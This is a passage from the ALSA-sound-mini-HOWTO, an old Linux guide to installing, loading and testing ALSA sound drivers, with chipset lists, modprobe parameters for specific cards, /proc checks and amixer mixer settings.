  • ESS Solo-1 ES1938 and ES1946. Only one of the two channels works, which means that recording is not possible. The author of the ES1938 code ``is aware of the problem and is currently investigating it''.
  • Yamaha: OPL3-SA2, OPL3-SA3 (chipsets)
  • OAK Mozart
  • Schubert 32 PCI (PINE, S3 SonicVibes PCI chipset)
  • Ensoniq AudioPCI ES1370/1371 PCI soundcards (Soundblaster PCI64)
  • SonicVibes PCI soundcards (PINE Schubert 32 PCI)
  • ForteMedia FM801 based cards (in 0.3.2)
  • OPTi 82C9xx chipset based soundcards
  • AD1847, AD1848 and CS4248 chipset based cards
  • AZT2320 chip based soundcards (PnP only).
  • Advance Logic ALS100/ALS120 based cards
  • C-Media CMI8330 based cards
Then a whole lot of Crystal Semiconductors-based sound boards are supported. These chips can be found in a lot of hardware, in separate cards (some Philips PCA series) and on motherboards (e.g. IBM Aptiva, Dell computers). Boards based on the following chipsets are supported:
  • 4231
  • 4232
  • 4232A
  • 4235
  • 4236B
  • 4237B
  • 4238B
  • 4239
  • 4280
  • 4610
  • 4612
  • 4614
  • 4615
  • 4680
The best thing is: ALSA now supports computers without a soundcard to produce video! This is done with a dummy driver, that tricks programs like Realplayer into thinking that there is a sound card available.

A more recent list may be found inside the driver package itself, that is in doc/SOUNDCARDS

3.4 Other HOWTO's

This ALSA-sound-mini-HOWTO is just mini - although it seems to grow fast. Other HOWTO's may help you out in case this one is too terse. I will name a few things you may come across while trying to install the ALSA drivers. HOWTO's can generally, be found at mirrors of Metalab (the former Sunsite). So take a look at http://metalab.unc.edu/LDP/mirrors.html and pick out your closest mirror site. You can find HOWTO's in the directory LDP/HOWTO/. Please note: the links in this document will all be relative to /LDP/HOWTO/mini. If you look at this document from a reasonably good mirror site, you will find the HOWTO's.

Then a note for the 2.2.x kernel series. For the 2.2.x kernel series, sound support is like any other support: it works, but it is different from what you used to do. This HOWTO (like any other HOWTO) will from version 2.0pre1 concentrate on the 2.2 series kernel, although I'll try to point out the differences.

Sound cards

Perhaps you bought a sound card already, or maybe it has been installed in your computer for ages. And now you are going to use it! Have a look at the Sound-HOWTO to see if this is all worth the trouble. (You might want to buy this new Mega-Rumble-Blaster first, then try the ALSA drivers.)

Plug and Play cards

Most modern sound cards for the Intel platform are ISA PnP cards, which is an abbreviation for ''Plug and Play''. This means, that the card has to be configured by the operation system. This has to be done through an initialization routine at boot time. You probably need to configure your card with the PnP-utils-package. Every recent Linux distribution includes these tools. For usage have a look at the Plug-and-Play-HOWTO

The ALSA-drivers seem to have built in their own ISA-PnP-support for a couple of sound cards. Unfortunately, as I cannot find documentation about this, I cannot tell you how it works. If anyone out there wants to try ALSA sound support while deliberately not using the ISA-PnP-tools, please drop me a line.

Loadable modules

The ALSA sound drivers are built as modules. You can find more information about modules in the Kernel-HOWTO. There is also a module-HOWTO, but that is unmaintained at the moment; take a look at the umaintained section of the Howto-HOWTO. There is a Modules-mini-HOWTO though that may be useful.

Kerneld

Another HOWTO that will be useful for some, is the Kerneld-mini-HOWTO. Kerneld is a daemon that installs and removes kernel modules as needed. (I have zero experience with it, so additional information on the topic is welcome. The ALSA driver documentation contains some information about configuration of the kerneld, this has been included in this mini-HOWTO.)

As the kernel module loader is included in kernel 2.2.x, things have changed. But as I am one of those guys that rather modprobes something than have some daemon handle it, I have no info on this.


Alsa-sound-mini-HOWTO: How to install ALSA sound drivers

 Next Previous Contents

4. How to install ALSA sound drivers

4.1 What you need

  • a functional Linux system (e.g. the Slackware distribution), with the "Development" packages installed (i.e. gcc, make etc.)
  • some knowledge about Linux (meaning you know how to use "ls", "cd", "tar" etc.)
  • a root-account
The great thing is: you don't need a supported sound card anymore, as ALSA now has a dummy driver that does nothing! (No, it really does nothing, but some programs will work now that they believe there is a sound card available).

If you have a PnP card, you will also need:

  • the isapnptools software package.
The INSTALL text in the driver directory suggests that for some cards, PnP support is native. I also received a suggestion from Jaroslav about this. When I get further information about this topic I will add it to this mini-HOWTO.

Please note that you should not have any sound drivers active when you want to use the ALSA drivers. If you have a kernel with sound drivers compiled in, you'll need a kernel recompilation. If you have the old "sound.o" module active, you need to deactivate it. If you use kerneld, this probably means deleting sound.o from the /lib/modules/<kernel_version>/misc directory. Newer RedHat systems have a different sound approach, with several sound modules active. You need to deactivate them all.

The 2.2 series kernel has a new approach to sound. You should include sound support here ! Yep, that's right: you add sound support to the kernel, but do not include any sound card. Then compile and install the kernel and after that, compile the ALSA-drivers.

4.2 Getting the drivers

The ALSA drivers are available from ftp://ftp.alsa-project.org/pub/ and there are mirrors at

  • US: ftp://ftp.silug.org/pub/alsa
  • US: ftp://ftp.eecs.umich.edu/pub/linux/alsa
  • Netherlands: ftp://linux.a2000.nl/alsa
  • Poland: ftp://ftp.task.gda.pl/pub/linux/misc/alsa
  • Germany: ftp://ftp.tu-clausthal.de/pub/linux/alsa
  • Slovakia: ftp://ftp.phacka.sk/pub/alsa
  • Australia: ftp://ftp.suburbia.com.au/pub/alsa

For a fully functional ALSA-installation, you will need the driver, the libs and the utilities; e.g if you chose the A2000 mirror you would get ftp://linux.a2000.nl/alsa/driver/alsa-driver-0.4.1e.tar.gz, ftp://linux.a2000.nl/alsa/lib/alsa-lib-0.4.1d.tar.gz and ftp://linux.a2000.nl/alsa/utils/alsa-utils-0.4.1.tar.gz

4.3 ALSA versions

The ALSA drivers have come a long way. Development started during the 2.0 version kernel, then the 2.2 series showed up (with their own sound kernel).

As the 0.4 versions work perfectly for me, I think it is safe to use 0.4.1e (or newer, if you want). If you have a 2.0.x kernel, you will definately not want to use 0.3.0 or later. Instead, use alsa-driver-0.3.0-pre4, alsa-lib-0.3.0-pre4 and alsa-utils-0.3.0-pre3.

The older versions, 0.2.0-pre10p3 and older do work under 2.0.x, but I cannot get them to work under 2.2.x (probably due to the lack of interfacing with the soundcore module of the kernel).

4.4 Extracting

You extract the drivers by some reasonable command, like the all-time tar -zxf <file>. Most likely you would do that in the /usr/src directory, so you need root priviliges for this. Type ``su'' and then the root password to become root. But please note: it is unwise to use your system as the ``root'' user if it is not necessary. So:

cd /usr/src

tar -zxf ~/alsa-driver-0.4.1e.tar.gz

tar -zxf ~/alsa-lib-0.4.1d.tar.gz

tar -zxf ~/alsa-utils-0.4.1.tar.gz
Also working and more fun: find ~ -name alsa* -exec tar -zxf {} \; (Don't try this at home kids, it's just an example). Note that when downloading the drivers with Netscape, you may accidentally get unpacked drivers with a ".tgz" extension. If tar complains about the file format, you may get better results by leaving off the "z" in the tar options.

4.5 Compiling

You need the drivers before you can compile and use the libs. You need the libs before you can compile or use the utils. So let's begin:

cd alsa-driver-0.4.1e
(and for those not so experienced: try typing a <tab> (the "tab"-key) after "alsa-d". That's called command line completion.)
./configure
If you want to use the built-in PnP interfacing, you should use
./configure --with-isapnp=yes

make
Now you need to be 'root' to install the stuff (you probably were "root" already)
make install
If this tells you that something like ``version.h'' cannot be found, then you probably do not have a proper kernel source tree. You need a couple of files of your kernel source to be able to compile the ALSA-drivers. Unpack your favorite linux-2.x.y.tar.gz in /usr/src, and issue a make menuconfig. (Actually, make symlinks may be enough). Now compile the libraries:
cd ../alsa-lib-0.4.1d

./configure

make

make install
OK, you're getting it, the utilities:
cd ../alsa-utils-0.4.1

./configure

make

make install
Note: you can leave out the "make install" for the utilities at first. You could even leave out the whole library-making and utility-making, just to check if the driver works.

4.6 Preparing the devices

There is a script in the driver-directory that will install the ALSA-sound-devices in your /dev directory. Type

./snddevices
from the driver-directory. There should be a /dev/snd subdirectory now (test if it is there. If you are not familiar with even the "ls" command, please consider reading other HOWTO's first. You should have some basic Linux knowledge to install these drivers).

Now you're ready to insert the driver, so please turn over to the next paragraph.


Alsa-sound-mini-HOWTO: Loading the driver

 Next Previous Contents

5. Loading the driver

There are two ways to use the ALSA-sound-modules. I personally prefer using the manual method, meaning that I insert the driver at startup. The ALSA-drivers were designed as loadable/unloadable modules - for instance they do not reset the mixer after loading - so you can easily use the kerneld approach.

Please do read the section Backwards Compatibility. You need it to have sound support ``the old way''.

5.1 Inserting with modprobe

Note: If you have a PnP audio-card, you first need to set it to the right (or at least some known) IO/IRQ/DMA. See the Plug-and-Play-HOWTO. Did you configure your Plug-and-Play-soundcard? Ok, then read on please. The main part is: do a "modprobe snd-card-<soundcard>". This should do the trick. Please note that not all distributions do include /sbin in your path. If you get a "bash: modprobe: command not found", this will most likely mean that modprobe is not in your path. Try ``/sbin/modprobe snd-card-sb16'', or try to find the modprobe utility elsewhere.

The most important difficulty is with the Crystal chipsets, for these the ALSA-drivers are not auto probing. More recent information may be acquired from the INSTALL file in the driver-directory. Two examples, then a list: Gravis UltraSound (GUS) and compatibles:

/sbin/modprobe snd-card-gusclassic
For all 16-bit Soundblaster-cards (SoundBlaster 16 (PnP), SoundBlaster AWE 32 (PnP), SoundBlaster AWE 64 (PnP):
/sbin/modprobe snd-card-sb16
However, if you have a 0.3.0-pre4 package, the GUS Classic driver is called ``snd-gusclassic'' and the SoundBlaster 16 module is called ``snd-sb16'' (so, without the ``card'' part).

5.2 Which module for which card?

Please note that ALSA versions before 0.4.x sometimes had different names. You need to leave out the ``card'' part for those drivers. This is indicated by an asterisk (*).

Gravis UltraSound Extreme (*)

modprobe snd-card-gusextreme

Gravis UltraSound MAX (*)

modprobe snd-card-gusmax

ESS AudioDrive (*)

ESS AudioDrive ES-1688 and ES-688 soundcards

modprobe snd-card-audiodrive1688

ESS AudioDrive 18xx (*)

ESS AudioDrive ES-18xx based soundcards

modprobe snd-card-audiodrive18xx

Gravis UltraSound PnP (*)

Gravis UltraSound PnP, Dynasonic 3-D/Pro, STB Sound Rage 32, ExpertColor MED3201 and other soundcards based on AMD InterWave™ chip.

modprobe snd-card-interwave

UltraSound 32-Pro (*)

UltraSound 32-Pro (soundcard from STB used by Compaq) and other soundcards based on AMD InterWave (tm) chip with TEA6330T circuit for extended control of bass, treble and master volume

modprobe snd-card-interwave-stb

Soundblaster (*)

8-bit Soundblaster cards (SoundBlaster 1.0, SoundBlaster 2.0, SoundBlaster Pro)

modprobe snd-card-sb8

Soundblaster 16 (*)

16-bit SoundBlaster cards (SoundBlaster 16 (PnP), SoundBlaster AWE 32 (PnP), SoundBlaster AWE 64 (PnP). Please note: this module does not support the SoundBlaster VibraX16 soundcard.

modprobe snd-card-sb16

OAK Mozart (*)

modprobe snd-mozart

OPTi 82C9xx (*)

Various sound cards that use the OPTi 82C9xx chipset, like Audio 16 Pro EPC-SOUN9301 (82C930 based), ExpertColor MED-3931 v2.0 (82C931 based), ExpertMedia Sound 16 MED-1600 (82C928 based - AD1848), Mozart S601206-G (OPTI601 based - CS4231) and Sound Player S-928

modprobe snd-card-opti9xx

AD1847/48 and CS4248

modprobe snd-card-ad1848

Yamaha OPL3-SA2/SA3 soundcards (*)

Just "modprobe snd-opl3sa" will not work, this driver does not do autoprobing. See below.

S3 SonicVibes (*)

S3 SonicVibes PCI soundcards. (PINE Schubert 32 PCI)

modprobe snd-card-sonicvibes

Ensoniq/Soundblaster PCI64 (*)

Ensoniq AudioPCI ES1370/1371 PCI soundcards. (SoundBlaster PCI 64)

modprobe snd-card-audiopci

CS4231

Just ``modprobe snd-card-cs4231'' will not work, no auto-probing. See below.

CS4232/4232A

All soundcards based on CS4232/CS4232A chips. Just "modprobe snd-card-cs4232" will not work, no auto-probing. See below.

4235 and higher

All soundcards based on CS4235/CS4236/CS4236B/CS4237B/CS4238B/CS4239 chips. Just "modprobe snd-card-cs4236" will not work, no auto-probing. See below.

4610/4612/4615 and 4680

modprobe snd-card-cs461x

ESS Solo 1 (*)

ESS Solo-1, 128iPCI card (es1938, ESS-SOLO-1). Jonas Lofwander sent me a link to a document that will help you installing this card - which is, basically, nothing more than modprobe snd-card-esssolo1 ... but http://dice.shopcenter.nu/alsa/ can be of help. If you have an IBM Thinkpad 1412 you can also refer to http://www.geocities.com/SiliconValley/Peaks/3649/1412.html, thanks to Kumar Sankaran.

Trident 4DWave DX/NX (**)

Best Union Miss Melody 4DWave PCI, HIS 4DWave PCI, Warpspeed ONSpeed 4DWave PCI, AzTech PCI 64-Q3D, Addonics SV 750, CHIC True Sound 4Dwave, Shark Predator4D-PCI, Jaton SonicWave 4D.

modprobe snd-card-trident

ForteMedia FM801

These are PCI cards based on the FM801 chip.

modprobe snd-card-fm801

(*) For ALSA version 0.3.0-pre4, you need to leave out the ``card-'' part in most (not all!) of the drivernames. So ``snd-card-sb16'' becomes ``snd-sb16'', however, ``snd-card-cs4232'' remains ``snd-card-cs4232'' (modprobe snd-cs4232 will do something, but it will not produce any sound!)

(**) In older ALSA versions this driver was called ``snd-card-trid4wave'' and ``snd-trid4wave''.

5.3 modprobe for drivers without auto-probing

If you have a non-autoprobing driver, you need to supply additional info at startup to have the driver work. More information can be found in the file INSTALL in the driver directory.

OPL3-SA2 and OPL3-SA3

According to the INSTALL file you need to supply all the information for this driver. If you initialized the card with the isapnp-tools, you can probably get info from the /etc/isapnp.conf file for the following values:

snd_port - control port # for OPL3-SA chip
snd_wss_port - WSS port # for OPL3-SA chip (0x530,0xe80,0xf40,0x604)
snd_midi_port - port # for MPU-401 UART (0x300,0x330), -1 = disable
snd_fm_port - FM port # for OPL3-SA chip (0x388), -1 = disable
snd_irq - IRQ # for OPL3-SA chip (5,7,9,10)
snd_dma1 - first DMA # for Yamaha OPL3-SA chip (0,1,3)
snd_dma1_size - max first DMA size in kB (4-64kB)
snd_dma2 - second DMA # for Yamaha OPL3-SA chip (0,1,3), -1 = disable
snd_dma2_size - max second DMA size in kB (4-64kB)
You would do a "modprobe snd-card-opl3sa snd_port=0xNNN snd_wss_port=0x530 snd_midi_port=-1 snd_fm_port=0x388 snd_irq=5 snd_dma1=0 snd_dma1_size=NN snd_dma2=1 snd_dma2_size=NN" to load this driver (without midi-support. I am still convinced that midi-support is the thing you need when you have synthesizers and stuff and want to connect them to your Linux box. Never needed Midi-support even to play midi-files.)

Note that the "NN" values need to be supplied, only I do not know what would be reasonable values. I do not know if the dma size option is really required.

If you happen to have an IBM Thinkpad with this chipset, then http://www.cirs.org/patrick/index.html might be of help.

If you use the driver from 0.3.0-pre4, then leave out the ``card-'' part in the name.

CS4231 chips

According to the INSTALL file you need to supply the main port for this card. Note that with the driver for 3235/6/7/8/9 cards, the one below, I ended up supplying all information (except DMA-size), otherwise the driver did not work. So you may as well use the whole command line to insert the driver. If you initialized the card with the isapnp-tools, you can probably get info from the /etc/isapnp.conf file for the following values:

snd_port - port # for CS4232 chip (PnP setup - 0x534)
snd_mpu_port - port # for MPU-401 UART (PnP setup - 0x300), -1 = disable
snd_irq - IRQ # for CS4232 chip (5,7,9,11,12,15)
snd_mpu_irq - IRQ # for MPU-401 UART (9,11,12,15)
snd_dma1 - first DMA # for CS4232 chip (0,1,3)
snd_dma1_size - max first DMA size in kB (4-64kB)
snd_dma2 - second DMA # for Yamaha CS4232 chip (0,1,3), -1 = disable
snd_dma2_size - max second DMA size in kB (4-64kB)
You would do a "modprobe snd-card-cs4231 snd_port=0x534 snd_mpu_port=-1 snd_irq=5 snd_dma1=0 snd_dma1_size=NN snd_dma2=1 snd_dma2_size=NN" to load the driver for a "standard configured" soundcard. (Without midi-support, see the note at Yamaha OPL-3). If you used different values in /etc/isapnp.conf, then you would use the values here also (Note: it can be wise to use your brains anyway ;)

Note that the "NN" values need to be supplied, only I do not know what would be reasonable values. I do not know if the dma size option is really required.

CS4232/CS4232A chips

According to the INSTALL file you need to supply the main port for this card. Note that with the driver for 3235/6/7/8/9 cards, the one below, I ended up supplying all information (except DMA-size), otherwise the driver did not work. So you may as well use the whole command line to insert the driver. If you initialized the card with the isapnp-tools, you can probably get info from the /etc/isapnp.conf file for the following values:

snd_port - port # for CS4232 chip (PnP setup - 0x534)
snd_cport - control port # for CS4232 chip (PnP setup - 0x120)
snd_mpu_port - port # for MPU-401 UART (PnP setup - 0x300), -1 = disable
snd_fm_port - FM port # for CS4232 chip (PnP setup - 0x388), -1 = disable
snd_jport - joystick port for CS4232 chip (PnP setup - 0x200), -1 =
disable
snd_irq - IRQ # for CS4232 chip (5,7,9,11,12,15)
snd_mpu_irq - IRQ # for MPU-401 UART (9,11,12,15)
snd_dma1 - first DMA # for CS4232 chip (0,1,3)
snd_dma1_size - max first DMA size in kB (4-64kB)
snd_dma2 - second DMA # for Yamaha CS4232 chip (0,1,3), -1 = disable
snd_dma2_size - max second DMA size in kB (4-64kB)
You would do a "modprobe snd-card-cs4232 snd_port=0x534 snd_cport=0x120 snd_mpu_port=-1 snd_fm_port=0x388 snd_jport=-1 snd_irq=5 snd_dma1=0 snd_dma1_size=NN snd_dma2=1 snd_dma2_size=NN" to load the driver for a "standard configured" soundcard. (Without midi-support, see the note at Yamaha OPL-3, and no joystick support). If you used different values in /etc/isapnp.conf, then you would use the values here also (Note: it can be wise to use your brains anyway ;)

Note that the "NN" values need to be supplied, only I do not know what would be reasonable values. I do not know if the dma size option is really required.

CS4235/CS4236/CS4236B/CS4237B/CS4238B/CS4239 chips

According to the INSTALL file you need to supply the main port and control ports for this card. Note that with a CS4237B card, I ended up supplying all information (except DMA-size), otherwise the driver did not work. So you may as well use the whole command line to insert the driver, and not only supply snd_port and snd_cport. If you initialized the card with the isapnp-tools, you can probably get info from the /etc/isapnp.conf file for the following values:

snd_port - port # for CS4232 chip (PnP setup - 0x534)
snd_cport - control port # for CS4232 chip (PnP setup - 0x120)
snd_mpu_port - port # for MPU-401 UART (PnP setup - 0x300), -1 = disable
snd_fm_port - FM port # for CS4232 chip (PnP setup - 0x388), -1 = disable
snd_jport - joystick port for CS4232 chip (PnP setup - 0x200), -1 = disable
snd_irq - IRQ # for CS4232 chip (5,7,9,11,12,15)
snd_mpu_irq - IRQ # for MPU-401 UART (9,11,12,15)
snd_dma1 - first DMA # for CS4232 chip (0,1,3)
snd_dma1_size - max first DMA size in kB (4-64kB)
snd_dma2 - second DMA # for Yamaha CS4232 chip (0,1,3), -1 = disable
snd_dma2_size - max second DMA size in kB (4-64kB)
You would do a "modprobe snd-card-cs4236 snd_port=0x534 snd_cport=0x120 snd_mpu_port=-1 snd_fm_port=0x388 snd_jport=-1 snd_irq=5 snd_dma1=0 snd_dma1_size=NN snd_dma2=1 snd_dma2_size=NN" to load the driver. (Without midi-support, see the note at Yamaha OPL-3, and no joystick support). Notes:
  • the "NN" values need to be supplied, only I do not know what would be reasonable values.
  • my CS4237B works fine without explicit dma size option.

5.4 The kerneld approach

kerneld is a daemon that inserts modules on request, and unloads them once they are not in use anymore. Since I have no experience with kerneld, I do not know if the information below is accurate. The info comes from the INSTALL file in the ALSA-drivers package. Excellent information about kerneld can be found in the kerneld-mini-HOWTO.

Follow these steps:

  • Edit your /etc/conf.modules (see below for examples)
  • Run 'modprobe snd-card' where card is name of your card [Which I find rather strange, since kerneld is supposed to load them? VS]
Example for /etc/conf.modules for Gravis UltraSound PnP soundcard:
alias char-major-14 snd
alias snd-minor-oss-0 snd-interwave
alias snd-minor-oss-3 snd-pcm1-oss
alias snd-minor-oss-4 snd-pcm1-oss
alias snd-minor-oss-5 snd-pcm1-oss
alias snd-minor-oss-12 snd-pcm1-oss
alias snd-card-0 snd-interwave
options snd snd_major=14 snd_cards_limit=1
options snd-interwave snd_index=1 snd_id="guspnp" snd_port=0x220 snd_irq=5
snd_dma1=5 snd_dma2=6
Example if you want use more soundcards in one machine (configuration below is for Sound Blaster 16 and Gravis UltraSound Classic):
alias char-major-14 snd
alias snd-minor-oss-0 snd-mixer
alias snd-minor-oss-3 snd-pcm1-oss
alias snd-minor-oss-4 snd-pcm1-oss
alias snd-minor-oss-5 snd-pcm1-oss
alias snd-minor-oss-12 snd-pcm1-oss
alias snd-card-0 snd-sb16
alias snd-card-1 snd-gusclassic
options snd snd_major=14 snd_cards_limit=2
options snd-sb16 snd_index=1 snd_port=0x220 snd_irq=5 snd_dma8=1 snd_dma16=5
options snd-gusclassic snd_index=2 snd_irq=11 snd_dma1=6 snd_dma2=7
Example if two Gravis UltraSound Classic soundcards are present in system:
alias char-major-14 snd
alias snd-minor-oss-0 snd-mixer
alias snd-minor-oss-3 snd-pcm1-oss
alias snd-minor-oss-4 snd-pcm1-oss
alias snd-minor-oss-5 snd-pcm1-oss
alias snd-minor-oss-12 snd-pcm1-oss
alias snd-card-0 snd-gusclassic
alias snd-card-1 snd-gusclassic
options snd snd_major=14 snd_cards_limit=2
options snd-gusclassic snd_index=1,2 snd_port=0x220,0x260 snd_irq=5,11
snd_dma1=5,6 snd_dma2=7,3

5.5 Backwards compatibility

If you want to preserve OSS/Free or OSS/Linux compatibility, you need to insert one more driver: the snd-pcm1-oss driver for OSS-compatibility. Issue a

modprobe snd-pcm1-oss
This will give you /dev/audio and /dev/dsp-support, just as the OSS/Free (kernel) drivers and OSS/Linux (the $25 ones) do. Note that this is only an emulation.


Alsa-sound-mini-HOWTO: Testing and using

 Next Previous Contents

6. Testing and using

Now you should test if the sound driver really is available, then try to use it.

6.1 The /proc filesystem

You can find a lot of useful information about your system in the /proc subdirectory. /proc is a "virtual" filesystem, meaning that it does not exist in real life, but merely is a mapping to various processes and tasks in your computer. In order for /proc to work, you need to have support for it compiled into your kernel. Most linux distributions have this as a default, but if you compiled a kernel and left /proc out obviously there won't be anything in /proc.

/proc/modules gives information about loaded modules. Once the ALSA sound drivers are loaded, if you type cat /proc/modules you should see something like:

snd-pcm1-oss      4            0
snd-sb16          1            1
snd-sb-dsp        4    [snd-sb16]      0
snd-pcm1          4    [snd-pcm1-oss snd-sb-dsp]      0
snd-pcm           3    [snd-pcm1-oss snd-sb16 snd-sb-dsp snd-pcm1]    0
snd-mixer         3    [snd-pcm1-oss snd-sb16 snd-sb-dsp]      1
snd-mpu401-uart   1    [snd-sb16]      0
snd-midi          4    [snd-sb16 snd-sb-dsp snd-mpu401-uart]   0
snd-opl3          1    [snd-sb16]      0
snd-synth         1    [snd-sb16 snd-opl3]     0
snd-timer         1    [snd-opl3]      0
snd               8    [snd-pcm1-oss snd-sb16 snd-sb-dsp snd-pcm1 snd-pcm snd-mixer snd-mpu401-uart snd-midi snd-opl3 snd-synth snd-timer]    0
If something went wrong during the installation of the driver, you will still see a couple of "snd" devices, but there won't be sound support.

For example (Note: you should never issue this command as follows, the cs4236 driver needs options):

win3:~# modprobe snd-card-cs4236
/lib/modules/2.0.35/misc/snd-card-cs4236.o: init_module: Device or resource busy
snd-mixer: Device or resource busy
win3:~# cat /proc/modules
snd-cs4236        2           0
snd-cs4231        3    [snd-cs4236]    0
snd-timer         1    [snd-cs4231]    0
snd-pcm1          4    [snd-cs4236 snd-cs4231] 0
snd-mixer         3    [snd-cs4236 snd-cs4231] 0
snd-pcm           3    [snd-cs4236 snd-cs4231 snd-pcm1]       0
snd-mpu401-uart   1           0
snd-midi          4    [snd-mpu401-uart]       0
snd-opl3          1           0
snd-synth         1    [snd-opl3]      0
snd-timer         1    [snd-cs4231 snd-opl3]   0
snd               8    [snd-cs4231 snd-timer snd-pcm1 snd-mixer snd-pcm]     0
You can check the existence of a soundcard by looking in /proc/asound/cards. For example:
bash$ cat /proc/asound/cards
0 [card1          : SB16 - Sound Blaster 16
                    Sound Blaster 16 at 0x220, irq 5, dma 1&5
In the previous example (where I forgot the options) the output would have been:
win3:~# cat /proc/asound/cards
--- no soundcards ---
A working CS4236 card would produce
0 [card1         ]: CS4236 - CS4237B
                    CS4237B at 0x534, irq 7, dma 1&0
If you checked and doublechecked your settings and still see no sound card, take a look at the troubleshooting section.

The /proc/asound/ virtual directory shows lots of other information about the driver. Please note that /proc/asound/ will only exist after you inserted the first ALSA module. If there is no /proc/asound, it simply means that the "snd" module was not loaded properly. You can find installed cards in /proc/asound/cards, then find information about card0 in /proc/asound/0, /proc/asound/1 for card1 etcetera.

If cat /proc/asound/card1/pcm0 shows something like

      ES1370 DAC2/ADC
      Playback isn't active.
      Record isn't active.
this means that your driver is ready to go, but is not doing anything right now. (So everything went well).

For users of a 2.0.x kernel there is a third method to find information about the sound devices, namely if you inserted the OSS compatible driver there is a /dev/sndstat device. The ALSA drivers kindly request that you not to rely on this information as it is only there for compatibility with the OSS drivers and better information can easily be obtained from /proc/asound/. In kernel 2.2.x ALSA uses the kernel soundcore and therefor cannot emulate /dev/sndstat, since it would interfere with the OSS drivers.

6.2 The mixer

Once the drivers for your sound card have been installed and your /proc filesystem tells you so, you can try to make a real sound. To do this, you need to set the mixer volumes to a reasonable value. You need the ``amixer'' from the alsa-utils package for this. First of all, install the utility package, or at least put the "amixer" command in some reasonable place (like /usr/local/bin).

Version 0.3.2 and later have an interface that differs from the OSS drivers. If you type just ``amixer'' you will see the mixer elements and their value. One of these elements could be ``Master volume'' for example, and could look like:

Group 'Master',0
  Capabilities: volume
  Channels: Front-Left Front-Right
  Limits: min = 0, max = 31
  Front-Left: 31 [100%] [on] [---]
  Front-Right: 26 [84%] [on] [---]

Unfortunately, I do not know how to set left and right volumes independently. With amixer, you can change volumes with the ``amixer set'' command. For example, to change the Master volume, you would issue a

amixer set Master 15

Please note that the names of the elements can be different for different types of sound cards. Also note that amixer is case dependent, so ``amixer set masteR 10'' will not work. For more information, please look in the amixer man page.

If you have a 0.3.0-pre4 ALSA, then amixer works just like normal mixer programs. You can look at the mixer settings by typing ``amixer''. This command lists the ``mixer settings'', or as you would normally call it, the volume settings of the various parts of the soundcard. The output from amixer can greatly differ from card to card. My Soundblaster 16 shows:

Master         0  % (-14.00dB) : 0  % (-14.00dB)
Bass           0  % (-14.00dB) : 0  % (-14.00dB)
Treble         0  % (-14.00dB) : 0  % (-14.00dB)
Synth          0  % (-62.00dB) : 0  % (-62.00dB)
PCM            0  % (-62.00dB) : 0  % (-62.00dB)
Line-In        0  % (-62.00dB) : 0  % (-62.00dB) Mute
MIC            0  % (-62.00dB) : 0  % (-62.00dB) Mute
CD             0  % (-62.00dB) : 0  % (-62.00dB) Mute
In-Gain        0  % (-18.00dB) : 0  % (-18.00dB)
Out-Gain       0  % (-18.00dB) : 0  % (-18.00dB)
PC Speaker     0  % (-18.00dB) : 0  % (-18.00dB)

If you only get a message like ``amixer: Specify command...'', then you are using the ALSA 3.2 utilities. I suggest you to upgrade to 0.4.1e or later, or to go back to 0.3.0-pre4.

Mixer settings for playing

You have noticed the "Mute" entry for some devices. This means that this particular device will be zeroed out, whatever volume setting you use. Some cards (the CS4237B in the example) even mute their master channel. So, for the CS4237B, I would have to type

amixer set "Master d" unmute

to even be able to produce any sound at all. The Soundblaster does not have muted output, but

amixer set Master 100 unmute

would set the volume to 100% - and unmute it if it would have been muted. You can use a number, a word like "mute" or "unmute", or both. Type

amixer set "Master d" 100; amixer set PCM 100 unmute

to set the CS4237B card to maximum master volume and unmute PCM volume and set it to maximum.

If you use an older version of amixer, you need to leave out the ``set'' part of the command, so you would just type

amixer "master d" 100

Mixer parts

The various mixer parts may confuse you if you have no knowledge of digital sound production. The sound-HOWTO may help a bit, but a very short introduction is here.

You will probably only need few mixer elements: one of them is the ``CD'' setting (this is analog sound of your CD player, most CD players are connected with a 3 or 4 wire red/white/black cable).

The ``PCM'' setting is used for most applications. Programs like mpg123, xmms, speakfreely, realplayer and most others use the PCM channel.

``MIC'' stands for microphone, ``line-in'' is an (optional) extra input at the back of your sound card.

The various ``gain'' parts offer extra amplification for various uses and are pretty self-explanatory. (Like: record-gain is extra amplification for the recording channel, which can be useful if you use a microphone).

Mixer settings for recording

You would set the CD channel to record by typing

amixer set CD capture

and stop the recording setting again by typing

amixer set CD nocapture.

Note that older amixer programs use ``amixer CD rec'' and ``amixer CD norec'' for this.

If you would like to record something from the microphone, you would probably use

amixer set "Input Gain" 100; amixer set Mic 100 capture mute.

(Using the microphone input unmuted will produce loud high-pitched sound if your mic picks up its own signal from the speakers again). Most microphones have a ``gain'' setting to boost the microphone volume; you are most likely going to need it to pick up any sound from the microphone at all.

Again, older amixer programs use ``amixer "input gain" 100; amixer mic 100 rec mute''.

Other mixer settings

Unfortunately I have not been able to change the volume of the "3d center" and "3d space" settings with amixer 0.3.0-pre4. I haven't tried yet with 0.4.1e (this particular machine is still running 2.0.38). If anyone succeeds please let me know. I can use alsamixer for this job, but alsamixer was not ported to the 0.4.1e version yet.

The ALSA FAQ says that it is possible to restore mixer settings with cat <file> > /proc/asound/#/mixerC0D0, where <file> was obtained from /proc/asound/#/mixerC0D0. I have not been able to reproduce this as my system complains about non-existing devices. Then there is the ``alsactl'' program, which I don't use. I invite you (yes, you!) to write this section.

6.3 The /dev/snd/ devices

The alsa drivers have native sound-devices in the /dev/snd/ directory. If you have one card you might see the following devices:

/dev/snd/pcmC0D0 - the raw audio device for the card
/dev/snd/mixerC0D0 - the mixer for card 0
/dev/snd/controlC0D0 - the control device for card 0
The first number means the number of the soundcard, the second number (if any) is the number of the device. A sound card with two PCM devices would have a pcmC0D0 and pcmC0D1 device. Please note: the ALSA devices have changed between the previous version. Older ALSA drivers use /dev/snd/pcm00 (first number is the card, second number is the device). If this HOWTO uses the older notation, please drop me a line so I can correct it.

Now you are ready to put any soundfile you want into the PCM device of the first card. So try to cat any textfile (any file) to /dev/snd/pcmC0D0, like this: cat <filename> > /dev/snd/pcmC0D0. The filename can be any file, as long as it has some length. If you have a soundfile lying around somewhere, you could try that. You could also get the file at http://www.ldp.org/sounds/english.au this is Linus Torvalds saying how to pronounce Linux.

The default setting of your sound device is 8000 Hz, 8 bit. That means that the "english.au" file mentioned above will produce speech, other test files will probably just produce noise. If you do not hear anything, check your speakers, try to run "amixer" again or consult a doctor. (Later on you can easily use the full 48 KHz, 16 bit features of your sound card, by using your favourite sound player like sox or mpg123).

If you loaded the ``snd-pcm1-oss'' module, you can also use the OSS-compatibility to access your sound card. The following mappings are made:

/dev/snd/pcmC0D0 -> /dev/audio0 (/dev/audio) -> minor 4
